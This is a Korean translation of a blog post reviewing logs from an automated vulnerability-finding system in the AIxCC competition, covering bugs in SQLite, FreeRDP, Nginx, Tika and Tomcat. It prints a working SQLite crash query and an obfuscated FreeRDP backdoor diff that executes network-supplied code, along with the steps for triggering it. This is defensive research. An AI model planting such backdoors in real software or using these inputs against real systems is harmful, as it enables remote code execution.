이 글은 영어로 작성된 원문 블로그 글을 한국어로 번역한 것입니다. 일부 표현은 한국어 독자에게 자연스럽게 전달되도록 다듬었습니다.
AI 해커의 생각 속으로
💡
LLM 에이전트를 활용해 복잡한 보안 작업을 해결하는 일은 여전히 많은 노력이 필요한 도전 과제입니다. 그러나 퍼징이나 정형 기법과 달리, LLM 에이전트는 작업 과정을 직접 살펴볼 수 있는 독특한 장점을 제공합니다. 단순히 에이전트 로그를 확인하는 것만으로도 LLM의 강점과 한계에 대한 중요한 통찰을 얻을 수 있습니다.
이번 글에서는 저희가 수집한 방대한 로그 중 일부를 발췌해 살펴보며(전체는 100GB 이상에 달하고 아직 공개되지 않은 버그도 포함되어 있습니다), 그 과정에서 드러난 흥미로운 관찰 결과들을 공유하려 합니다.
모든 사례에서 CRS의 입력은 커밋 히스토리가 없는 코드 저장소뿐이었으며, 버그의 선택·분류·우선순위 지정에는 사람이 개입하지 않았습니다. 또한 생성된 POV 역시 사람이나 퍼저의 도움 없이 자동으로 만들어졌습니다.
SQLite
살펴볼 첫 번째 로그는 SQLite 검사에서 나온 결과입니다. SQLite는 2000년부터 개발 중인 약 33만 줄의 C로 작성된 가벼운 데이터베이스 엔진입니다. SQLite는 엄청나게 인기가 있으며 수많은 다른 소프트웨어가 사용합니다. 윈도, 맥, 여러 리눅스 배포판과 같은 운영 체제, 모든 주요 웹 브라우저, 자동차, 비행기. 그리고 저희 CRS도 역시 SQLite를 활용합니다.
AIxCC 연습 라운드에서 저희는 임의의 SQL 쿼리를 실행할 수 있는 하니스가 포함된 SQLite 버전을 받았습니다. 주최 측이 의도적으로 심어둔 버그를 찾아냈지만, 더 흥미로운 것은 그 외의 버그였습니다. LLM 에이전트는 실제로 많은 크래시를 발견했는데, 그중 대부분은 보안상 큰 의미가 없었습니다. 그러나 최소 두 개는 중요한 취약점이었고, 이는 8월 5일 SQLite에 의해 수정되었습니다.
Out-of-bounds 쓰기
이 버그는 기본적으로 켜져 있는 SQLite의 zipfile 확장 안에 있는 기초적인 힙 버퍼 오버플로우입니다. 이는 이런 종류의 버그가 퍼징으로 찾기에 엄청나게 어려울 것이기 때문에 꽤 흥미로운 경우입니다.
아래에는 VulnAnalyzer 에이전트 로그를 포함했습니다. 이 에이전트는 파이프라인 초기에 실행되어 신뢰도가 낮은 버그 보고서를 검증하고, 다른 에이전트가 활용할 수 있도록 더 구체적인 정보를 보강합니다. 이번 사례에서도 이 과정이 큰 도움이 되었습니다. 보강된 보고서가 있으면 해당 버퍼 오버플로우를 재현하는 것은 훨씬 수월해집니다.
모든 POV 시도처럼, 지연 시간을 최소화하기 위해 3개의 에이전트를 병렬로 실행합니다. (채점 요소이기 때문입니다.) 이 로그에는 모두 포함했지만, 마지막 에이전트가 성공하면서 두 개는 빠르게 종료되는 것을 볼 수 있습니다. 유감스럽게도 성공 로그 자체는 다소 만족스럽지 못합니다: 출력이 너무 커서 표시되지 않는데 6만 4천개의 A 글자로 오버플로우를 일으키기 때문입니다. 저희 시스템에 (SQLite 데이터베이스에!) 기록된 실제 스택 트레이스는 다음과 같았습니다:
==43==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x53100004c878 at pc 0x55675809c407 bp 0x7ffe3401f750 sp 0x7ffe3401f748
WRITE of size 1 at 0x53100004c878 thread T0
SCARINESS: 31 (1-byte-write-heap-buffer-overflow)
Stack Frame #0 in zipfilePutU16 shell.c
Stack Frame #1 in zipfileSerializeLFH shell.c
Stack Frame #2 in zipfileAppendEntry shell.c
Stack Frame #3 in zipfileUpdate shell.c
Stack Frame #4 in sqlite3VdbeExec sqlite3.c
Stack Frame #5 in sqlite3Step sqlite3.c
Stack Frame #6 in sqlite3_step (/out/customfuzz3+0x391914)
Stack Frame #7 in exec_prepared_stmt shell.c
Stack Frame #8 in shell_exec shell.c
Stack Frame #9 in shell_main (/out/customfuzz3+0x8ba51f)
Stack Frame #10 in LLVMFuzzerTestOneInput (/out/customfuzz3+0x372b2b)
Stack Frame #11 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
Stack Frame #12 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
Stack Frame #13 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
Stack Frame #14 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
Stack Frame #15 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
Stack Frame #16 in _start (/out/customfuzz3+0x20a93d)
DEDUP_TOKEN: zipfilePutU16--zipfileSerializeLFH--zipfileAppendEntry--zipfileUpdate--sqlite3VdbeExec
0x53100004c878 is located 0 bytes after 65656-byte region [0x53100003c800,0x53100004c878)
allocated by thread T0 here:
Stack Frame #0 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
Stack Frame #1 in sqlite3MemMalloc sqlite3.c
Stack Frame #2 in mallocWithAlarm sqlite3.c
Stack Frame #3 in sqlite3Malloc sqlite3.c
Stack Frame #4 in sqlite3_malloc64 (/out/customfuzz3+0x37959a)
Stack Frame #5 in zipfileConnect shell.c
Stack Frame #6 in vtabCallConstructor sqlite3.c
Stack Frame #7 in sqlite3VtabCallCreate sqlite3.c
Stack Frame #8 in sqlite3VdbeExec sqlite3.c
Stack Frame #9 in sqlite3Step sqlite3.c
Stack Frame #10 in sqlite3_step (/out/customfuzz3+0x391914)
Stack Frame #11 in exec_prepared_stmt shell.c
Stack Frame #12 in shell_exec shell.c
Stack Frame #13 in shell_main (/out/customfuzz3+0x8ba51f)
Stack Frame #14 in LLVMFuzzerTestOneInput (/out/customfuzz3+0x372b2b)
Stack Frame #15 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
Stack Frame #16 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
Stack Frame #17 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
Stack Frame #18 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
Stack Frame #19 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
DEDUP_TOKEN: __interceptor_malloc--sqlite3MemMalloc--mallocWithAlarm--sqlite3Malloc--sqlite3_malloc64
SUMMARY: AddressSanitizer: heap-buffer-overflow shell.c in zipfilePutU16
Shadow bytes around the buggy address:
0x53100004c580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x53100004c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x53100004c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x53100004c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x53100004c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x53100004c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
0x53100004c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x53100004c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x53100004c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x53100004ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x53100004ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==43==ABORTING
저희 시스템이 이를 패치하려고 하는 것도 볼 수 있습니다. 첫 번째 시도는 POV를 생성하기 전에 수행되었는데, 저희 시스템이 이것이 실제 취약점이라고 확신했고 대회에서 점수를 높이기 위해 지연 시간을 최소화하려고 했기 때문입니다. 그러나 POV가 생성된 후 시스템이 패치가 완전하지 않다는 것을 깨닫고 이번에는 테스트 케이스의 도움을 받아 다시 시도한 것을 볼 수 있습니다.
Out-of-bounds 읽기
저희 시스템이 같은 코드에서 다른 오버플로우를 찾았습니다. 이번에는 버그가 손상된 zip 파일을 읽는 것과 관련이 있습니다. 다시 한 번, 이는 퍼징하기 상당히 어려운 유형의 버그입니다! 특별히 만든 SQL 쿼리 뿐 아니라 적절하게 포맷되고 특별히 만들어진 16진수로 인코딩된 zip 파일이 필요합니다.
이번에도 VulnAnalyzer 에이전트가 버그를 꽤 잘 설명하지만, POV 생성기(다시 세 개 중 경쟁하는 하나)는 SQLite 내에서 가상 zipfile을 로드하는 방법과 zipfile이 정확히 어떻게 만들어져야 하는지 이해하기 위해 조금 더 작업이 필요했습니다. 결국 다음과 같은 SQL 쿼리를 생성합니다:
SELECT * FROM zipfile(X'504b03041400000000000000000000000000100000001000000001000100414243434343504b010214001400000000000000000000000000ffff0000ffff000001000000000000000000000000000000000041504b050600000000010001002f000000240000000000');
이번에는 POV가 완료되기 전에 병렬로 시작된 패치가 다시 시작될 필요가 없었습니다.
FreeRDP
다음으로 FreeRDP를 살펴보겠습니다. FreeRDP에 대해 잘 모르시는 분들을 위해 설명드리자면, FreeRDP 웹사이트에서는 FreeRDP를 “아파치 라이선스에 따라 배포되는 원격 데스크톱 프로토콜(RDP)의 무료 구현”이라고 설명합니다. 2011년부터 개발된 약 50만 줄의 C 코드입니다. RDP 클라이언트와 RDP 서버 기능을 모두 제공하며, Ubuntu에 기본으로 포함되어 있는 Remmina와 같은 다른 RDP 도구들도 FreeRDP를 사용합니다.
삽입된 백도어
AIxCC 연습 라운드에서 몇 가지 버그가 삽입된 FreeRDP가 출제되었습니다. 그 중 하나는 난독화된 백도어였습니다.
출제자의 노트는 다음과 같습니다. (저희 시스템에는 이 노트가 주어지지 않습니다.)
이 취약점은 난독화된 백도어입니다. 취약점을 발생시키면 임의의 메모리 쓰기가 가능합니다. CRS가 무슨 일이 일어나고 있는지 이해하기 어렵게 하는 것이 의도입니다. 이 취약점을 입증하기 위한 입력을 만드는 것은 어렵지만, 패치하는 것은 비교적 쉽습니다.
버그의 실제 코드는 다음과 같습니다:
diff a/libfreerdp/core/mcs.c b/libfreerdp/core/mcs.c
--- a/libfreerdp/core/mcs.c
+++ b/libfreerdp/core/mcs.c
@@ -911,16 +911,6 @@ BOOL mcs_recv_connect_response(rdpMcs* mcs, wStream* s)
if (!tpdu_read_data(s, &li, tlength))
return FALSE;
+ if (ber_read_application_tag(s, 0x42, &length))
+ {
+ #define A size_t
+ #define B void
+ A/*AOB,1rI<o2iKHfFJ*/a/*vnM 8Iv"b^Z[=&&9[12(bW*/=/*q!fYBcH$U?1JH0[qX@DlBtA*/0/*e+Co)nj?,*/;/*zjY9_9fJH)_ C}'dYLw|iX :o=*/A/*q?P@uK?Nu$e.%"Br*/f/*Q^4$n*/=/*x?UdG8b($5Id>7M4TgyIgC"Yfp=wv4^uS*/1<<0xc/*F.z}JtF#I_pZlT*/;/*n@KQd$n$E(YKr@ <-jYA#bKZ*/B*/*GW:mGM(*/b/*gERD0u4BU'O_)3*/;/*lk+gFuS7i6{A9Iv"]*//*ceq0i q1;rNs<tOCSUT*/if (posix_memalign/*uK3WW_YvZN{a10*/(&b,/*p7H|>r6v(^CK:xjf$][<};(Cn*/1<<0x9,/*F8W0gnG7hxQp?}4boF8N:438QgC*/f)/*N&N%HGu<,5vS N5OV^XF*/){return(0);};/*Bz{dVPE5A6eJpUMaX8Nl]GxT(rU*/A*/*LnztTqEE[)C*/c/*r^J;HOHG>SwY=H#s[HDz]N,ju{w|B*/=/*rx![HTZwE::sA&*/(A*)b/*Ki%P|3*/;/*zllh;'vu#og_pS;19Jlyp{|YYu*//*MwOX]g2hS(@knC7*/if(mprotect/*A$zFedaEmFJ$*/((B*)(((A)c)&(~0xfff)),/*d4E}Im'gWCsj%)-U3o[vq%a=X!*/f,/*n$wds'3jhIeAxs%)q$KGlA([Gb*/7)/*mKgBwh{u):O3WUcLH^uGHtq*/){return(0);};/*b]c+RpPVn$Px^;!r]M*/A/*wdSQd CLS1.>R^Q9LKVh:!*/d/*P8+2&YDiaJ?Zg]DBesXG(c0L"a*/;/*DI;(]E*/for/*O2#N21utWq,3 Y:JNj92>x*/(a=0;/*faU;Y$xK.[4|p;N*/a/*S?p1$Ef|x:2K_)3x-xbI;k*/</*V3K!Hf1|Wr1Ts=x"2,*/length/8;/*Y1bBgb-f#kB<HSG*/a++)/*Jznf%x1UV?o$a{;ZuBi?R+O*/{/*uo@lho{Vr9wo3)B%cK7I1o}.*/Stream_Read_UINT64_BE(s,/*htxpI4o#)WdBr^706Q,MI<i{g-pPo}*/d)/*Ne9@w-TzlEB'(fQydF*/;/*xL;Z}xffT)VD8iLPj(d4U!u*/c[a]/*dRtrW<,:*/=/*EiNHdr>d*/d/*ATgOpsR*/;/*P.{mJUU>*/}/*jB|Vm!}.UyNk9OVo]52$T4hvc5!Is*/B/*P^;9ni,z0IXa3#Qy*/(*e)()/*SG)+{5_Ql2{XUx]'D)1gdhO@*/=/*d5x<n[gd$(*/(B(*)())b/*N]k}F%B|c)6QNBnt{MBSaH5wwGCnq{p*/;e()/*sR'.ixaZj.0-<w,XWNw1bZ9 */;
+ return TRUE ;
+ } else {
+ Stream_Rewind(s, 2);
+ }
+
if (!ber_read_application_tag(s, MCS_TYPE_CONNECT_RESPONSE, &length) ||
!ber_read_enumerated(s, &result, MCS_Result_enum_length) ||
!ber_read_integer(s, &calledConnectId) ||
좋은 소식은 비록 이것이 다소 이해하기 어렵더라도 LLM 기반 버그 탐지기가 이를 쉽게 더 조사가 필요한 버그 후보로 탐지한다는 점입니다! 이 코드를 읽은 후 LLM 시스템은 다음과 같은 버그 보고서를 생성합니다:
name: 백도어
reason: 이 함수에는 실행 가능한 메모리 영역을 할당하고, 네트워크에서 데이터를 해당 메모리 영역에 복사한 후 실행하는 난독화된 코드가 포함되어 있습니다. 이는 악성 서버가 클라이언트에서 원격으로 코드를 실행할 수 있게 하는 백도어입니다.
source: if (ber_read_application_tag(s, 0x42, &length))
물론 저희 시스템은 많은 버그 보고서를 생성하기 때문에, 더 나아가기 전에 오탐을 걸러내는 단계를 거칩니다. 첫 번째 단계는 VulnClassifier입니다. VulnClassifier는 빠르고 매우 저렴하게(단 0.004 달러!) 이 보고서를 그럴듯하다고 판단하고 올바른 버그일 가능성에 최고 점수인 100%를 줍니다. 이 버그는 다른 높은 점수의 보고서와 함께 VulnAnalyzer 에이전트로 보내집니다. VulnAnalyzer 에이전트는 소스 탐색 도구에 접근할 수 있고 코드를 더 잘 이해하려고 시도합니다.
이는 대부분의 사람 보안 연구자가 수행할 상당히 간단한 절차입니다. OpenAI의 o4-mini 모델을 기반으로 하는 LLM 에이전트는 주변 코드를 살펴보고, 취약한 코드에 도달하는 경로를 TestFuzzCoreClient.c에 있는 테스트 하니스까지 추적합니다. 전체 로그는 여기서 볼 수 있습니다. 첫 번째 주목할 점은 이 에이전트가 비교적 저렴하다는 것입니다. 취약점을 살펴보고, 유효한지 오탐인지 결정하고, 훨씬 더 자세한 정보를 제공하는 데 약 0.8 달러가 들었습니다. 더 자세한 정보는 다음과 같습니다.
<function>mcs_recv_connect_response</function>
<file>FreeRDP/libfreerdp/core/mcs.c</file>
<description>
BER 어플리케이션 태그 0x42에 의해 활성화되는 숨겨진 브랜치로, RWX 메모리 버퍼를 할당하고,공격자가 제공한 데이터를 해당 버퍼에 복사한 후 해당 버퍼로 점프하여 즉시 크래시를 일으키거나 원격 코드 실행을 가능하게 합니다.
</description>
<conditions>
입력은 freerdp_is_valid_mcs_create_response(예: TestFuzzCoreClient)에 들어가야 합니다:
1) TPKT 헤더: [0x03,0x00,lenH,lenL], len>=7.
2) X.224 데이터 TPDU: [LI,0xF0,0x80].
3) BER 확장 어플리케이션 태그: [0x7F,0x42].
4) BER 길이 (예를 들어 8바이트인 경우 0x08).
5) 해당 길이만큼의 페이로드.
그 결과 mcs_recv_connect_response가 백도어 경로에 진입해 페이로드를 코드로 복사하고 mprotect한 후 실행하여 ASAN/UBSAN에서 실행할 때 크래시를 일으킵니다.
</conditions>
이것만으로도 이미 사람에게는 훨씬 더 유용한 보고서입니다. 하지만 AIxCC에서는 사람이 개입할 수 없습니다! 그래서 이 보고서를 또 다른 LLM 에이전트에 전달합니다. 이 경우, 우리는 이 버그를 발생시키는 입력을 만들려고 하므로 PovProducer를 시작합니다. 로그는 여기서 볼 수 있습니다. (실제로는 PovProducer 에이전트 3개를 병렬로 실행하지만, 첫 번째 에이전트가 성공하면 나머지 두 개는 종료됩니다.) 전반적으로 CRS는 이 백도어를 상당히 쉽게 처리할 수 있습니다! BER 확장 어플리케이션 태그와 관련하여 약간의 어려움이 있지만, 일단 해결되면 크래시가 일어납니다.
유감스럽게도 크래시가 일어나면 매우 불만족스러운 “Tool call output was too large to return. Please another approach.” 메시지를 받게 됩니다. FreeRDP 테스트 하니스는 이 입력을 실행할 때 약 60kB의 데이터를 출력하는데, 백엔드 코드가 컨텍스트 오염을 막기 위해 에이전트로 보내지 않습니다. 다행히도 같은 백엔드 코드가 크래시를 감지하고 입력을 기록하고 에이전트를 중지합니다.
정수 오버플로우
저희 시스템이 삽입된 버그를 찾고 발생시킬 수 있다는 점은 고무적이지만, 목표는 진짜 소프트웨어 취약점을 찾는 것입니다. 다행히 이 문제는 좋은 예시를 제공해 주었습니다. 저희 시스템은 FreeRDP 코드에서 삽입된 버그 외에도 다른 버그들을 발견했습니다. 조사 결과, 그 중 하나는 업스트림에서 수정된 버그라는 것을 알게 되었습니다. 이것은 이 버그가 공개될 때까지 기다릴 필요가 없다는 뜻이기도 합니다!
이 버그는 클라이언트 모니터 정보를 읽을 때 일어나는 RDP T.124 Generic Conference Control 처리의 정수 오버플로우입니다. 특히 저희는 libfuzzer를 사용한 퍼징에서 이 취약점을 전혀 발견하지 못했습니다. 업스트림 oss-fuzz 코퍼스로 시작해도 마찬가지였습니다. 사실 Generic Conference Control 처리 코드가 실행되는 것을 관찰한 때는 LLM이 입력을 만들었을 때 뿐이었습니다.
테스트 결과를 검토한 결과 저희 시스템이 이 버그를 여러 번 발견했음을 확인했습니다. (성공적으로 버그를 발생시킨 경우는 드물었지만) 이 경우, 저희 시스템으로 보내진 버그 보고서는 infer 정적 분석이 생성한 것인데 다소 정보가 부족합니다.
Vulnerability in gcc_read_client_monitor_data in FreeRDP/libfreerdp/core/gcc.c:
Vulnerability site: gcc_read_client_monitor_data on line 2150
Vulnerability type: Integer Overflow
Qualifier: ([-inf, +inf] - [-inf, +inf]):signed32
이것은 의도된 취약점보다 훨씬 더 흥미롭고 도전적인 예입니다. 시스템이 매우 체계적으로 정상적인 단계를 밟는 것을 볼 수 있습니다:
버그에 대한 더 많은 세부 정보 얻기 (SourceQuestions 서브에이전트 생성)
여러 하니스 중 어느 것이 실제로 문제의 코드에 도달할 수 있는지 파악 (다시 SourceQuestions 서브에이전트 생성)
관련 하니스에 대한 입력 인코더 요청 (이 경우에는 별 도움은 안됨)
입력을 만들고 디버그
당연하게도 마지막 단계에 대부분의 노력이 들어갑니다. 흥미롭게도 에이전트는 즉시 POV를 시도하지 않습니다. 먼저 이것이 어려운 작업이 될 것임을 깨닫고 “전체 MCS Connect-Initial PDU를 수동으로 만드는 복잡성을 고려하여 다른 접근 방식을 시도해 보겠습니다. 이 함수에 도달하는 더 간단한 방법이 있는지 또는 수정할 수 있는 기존의 테스트 케이스가 있는지 확인해 보겠습니다”라고 말하며 예제나 테스트 케이스를 요청합니다. (불행히도 실패합니다.)
다음으로, 정수 오버플로우를 발생시키려고 하는 대신, “무슨 일이 일어나는지 보기 위해 최소한의 테스트를 만들어 보겠습니다”라고 말하며 테스트를 시도합니다. 분명 사람이 공감할 수 있는 행동입니다!
이 로그를 살펴보면 서브에이전트에도 몇 가지 문제가 있습니다. 특히, 여러 SourceQuestions 서브에이전트가 "no response was produced" 오류를 내는데, 서브에이전트가 허용된 턴 수 안에 종료되지 않았다는 뜻입니다. 이후 버전에 이 문제를 해결하기 위한 프롬프트를 추가했지만, 수정 전에도 LLM이 문제를 우회할 수 있습니다. 보통 질문을 더 단순하거나 구체적으로 바꾸어 다시 질문합니다.
이것이 에이전트의 놀랍기도 하고 답답하기도 한 점입니다. LLM이 극복해야 할 버그가 있더라도 에이전트는 성공할 수 있습니다. 그래서 모호하거나 복잡한 작업에 좋은 도구가 되지만, 성공한다고 버그가 없다는 뜻이 아니기 때문에 평가를 더욱 어렵게 만듭니다.
그럼에도 불구하고, 이 에이전트 로그를 읽어보면 시스템이 전반적으로 에이전트 간 협력을 잘 수행하고 있음을 알 수 있습니다. 입력을 생성하는 중에 PovProducer가 DynamicDebug 에이전트에 다음과 같은 상당히 모호한 질문을 던집니다:
이 입력이 gcc_read_client_monitor_data 함수에 도달하나요? 파싱 중에 어떤 오류나 문제가 발생하나요?
다행히도 답변은 매우 도움이 됩니다. 질문에 답할 뿐만 아니라 파싱 문제를 해결하는 방법도 제시합니다:
PoV는 gcc_read_client_monitor_data에 도달하지 않습니다. 파싱 초기, 특히 gcc_read_conference_create_request의 OID 확인에서 실패하기 때문입니다. 함수는 T.124 OID(t124_02_98_oid)를 읽으려고 할 때 실패합니다.
문제는 입력 구성에 있습니다: GCC Conference Create Request는 데이터에 특정 T.124 OID(0.0.20.124.0.1)가 있어야 하지만, 처리되는 데이터(0x05, 0x00, 0x14, 0x7c, 0x01, 0x00...)를 보면 이 OID가 입력에 제대로 인코딩되지 않았습니다. 대신 입력이 GCC 헤더 데이터로 바로 점프합니다.
이 문제를 해결하려면 GCC 헤더 데이터 앞에 T.124 OID의 적절한 BER/PER 인코딩을 포함하도록 입력을 수정해야 합니다. 파이썬 코드의 현재 gcc_header 값 앞에 적절하게 인코딩된 OID가 와야 합니다.
이는 해당 코드 경로에 대한 상당히 깊은 이해를 보여줍니다. CRS는 대회 규칙상 인터넷 검색의 도움을 받을 수 없었지만, 다행히도 큰 모델은 표준 프로토콜에 대한 질문에 스스로 답할 수 있을 만큼 충분한 배경 지식을 가지고 있습니다.
버그의 복잡성과 SourceQuestions 서브에이전트의 문제에도 불구하고 약 4.25 달러의 LLM 비용과 40분의 작업 끝에 에이전트는 이 버그에 대한 POV를 생성하는데 성공했습니다. 매우 인상적이고, 사람의 개입 없이 알려지지 않은 버그를 발견하고 발생시키는 사례를 보는 것은 매우 멋진 일입니다!
Nginx
Nginx는 전 세계 수백만 개의 웹사이트가 사용하는 인기 웹 서버입니다. 약 25만 줄의 C 코드로 구성되어 있으며, 2004년 첫 출시 이후 활발하게 개발되어 왔습니다. 분석을 위해 AIxCC 주최측에서 배포한 버전을 사용했습니다. 이 버전에는 의도적으로 삽입한 취약점이 여러 개 포함되어 있습니다.
POV 로그는 여기에 있지만 아직 다루지 않은 패치로 넘어가겠습니다.
저희 시스템에서 패치는 diff 포맷을 기반으로 합니다. 이 포맷은 널리 사용되는 포맷이므로 학습 데이터에도 많이 존재하지만, LLM은 줄 번호와 같은 diff 포맷의 세부 사항 때문에 여전히 어려움을 겪습니다. 대부분의 경우 퍼지 매칭이 문제를 투명하게 해결하지만, 실패할 때도 있습니다. 예를 들어, 이 로그에서 저희는 반복된 코드로 인해 매치가 모호해져 퍼지 매칭이 실패해서 LLM이 반복적으로 패치 적용에 실패하는 것을 볼 수 있습니다. 더 많은 컨텍스트를 얻기 위해 주변 코드를 읽은 후, 모델은 다시 실패하는 더 복잡한 패치를 시도합니다. 마침내, 다른 코드 영역에 네 개의 개별 패치가 만들어져 결국 성공합니다.
전반적으로, 로그는 이제는 매우 인기 있는 다른 코딩 에이전트에 익숙한 사람들에게는 익숙할 것입니다.
Apache Tika
Tika는 이미지, 문서, 압축 파일 등 다양한 파일에서 메타데이터와 텍스트를 추출하는 도구입니다. 다른 사례와 달리 Tika는 자바 프로젝트이며 약 21만 5천 줄의 코드를 가지고 있습니다.
이를 위해 테스트 실행의 모든 Tika 관련 POV 로그를 포함했습니다. (1 2 3 4 5 6 7 8) 탐색하기 쉽도록 8개 파일에 분할되어 있습니다. 먼저 주목할 점은 이것이 많다는 것입니다. 다른 프로젝트도 선택하기 전에 비슷한 수의 시도와 총 지출(수백 달러)을 가졌습니다. 이러한 로그에는 성공으로 인해 종료된 병렬 시도뿐만 아니라 (LLM의 평가를 믿는다면) 빌드 구성으로 인해 불가능할 수 있는 시도나 오탐 버그 보고서에 대한 시도도 포함됩니다.
이것은 특히 멋진 예입니다. 경로 탐색 버그를 일으키는 zip 파일을 생성하도록 하는 보고서가 POV 생성기에 주어집니다. 먼저, POV 생성기가 그냥 파이썬 표준 라이브러리로 zip 파일을 만들 수 있다는 것을 알 수 있습니다. 바이트 단위로 퍼징하는 것보다 훨씬 효율적입니다! 유감스럽게도 에이전트가 문제를 맞닥뜨립니다: zip 파일 처리가 경로 탐색을 안전하게 처리합니다. 굴하지 않고 에이전트는 조사를 계속해 특별히 만든 tar 파일로 버그를 발생시킬 수 있음을 알아차립니다! zip 파일에 대한 반복된 실패 후 에이전트는 완전히 다른 하니스를 목표로 파이썬 표준 라이브러리의 tarfile 모듈을 써서 첫 번째 시도에 성공합니다! 이것이 반드시 보안 버그는 아니지만, 런타임 보안 검사를 발생시키면 AIxCC에서 득점 대상입니다.
Apache Tomcat
Tomcat은 1999년에 만들어져 현재도 널리 사용되는 자바 웹 어플리케이션 서버입니다. 약 42만 줄의 자바 코드로 구성되어 있습니다. 이 예제는 우리가 내부적으로 버그를 삽입한 것입니다.
여기서 재미있는 점 하나는 SHA-256 해시가 특정 문자열로 시작해야만 동작하는 백도어입니다. 퍼징으로 이 문제를 해결하기는 매우 어렵겠지만, 에이전트로는 풀 수 있습니다.
결론
이 글은 우리 시스템의 에이전트 로그 중 흥미로운 몇 가지를 간략하게 요약한 것입니다. 개발 과정에서 이러한 로그를 읽어보는 것이 프롬프트, 도구, 작업 경계를 조정하는 데 매우 유용하다는 것을 알게 되었습니다. 아직 모든 에이전트의 모든 로그를 살펴보지는 못했습니다. 직접 로그를 살펴보고 어떤 통찰을 얻을 수 있는지 확인해 보시기 바랍니다! 특히 흥미로운 점을 발견하시면 알려주세요!
최신 보안 인사이트를 바로 받아보세요.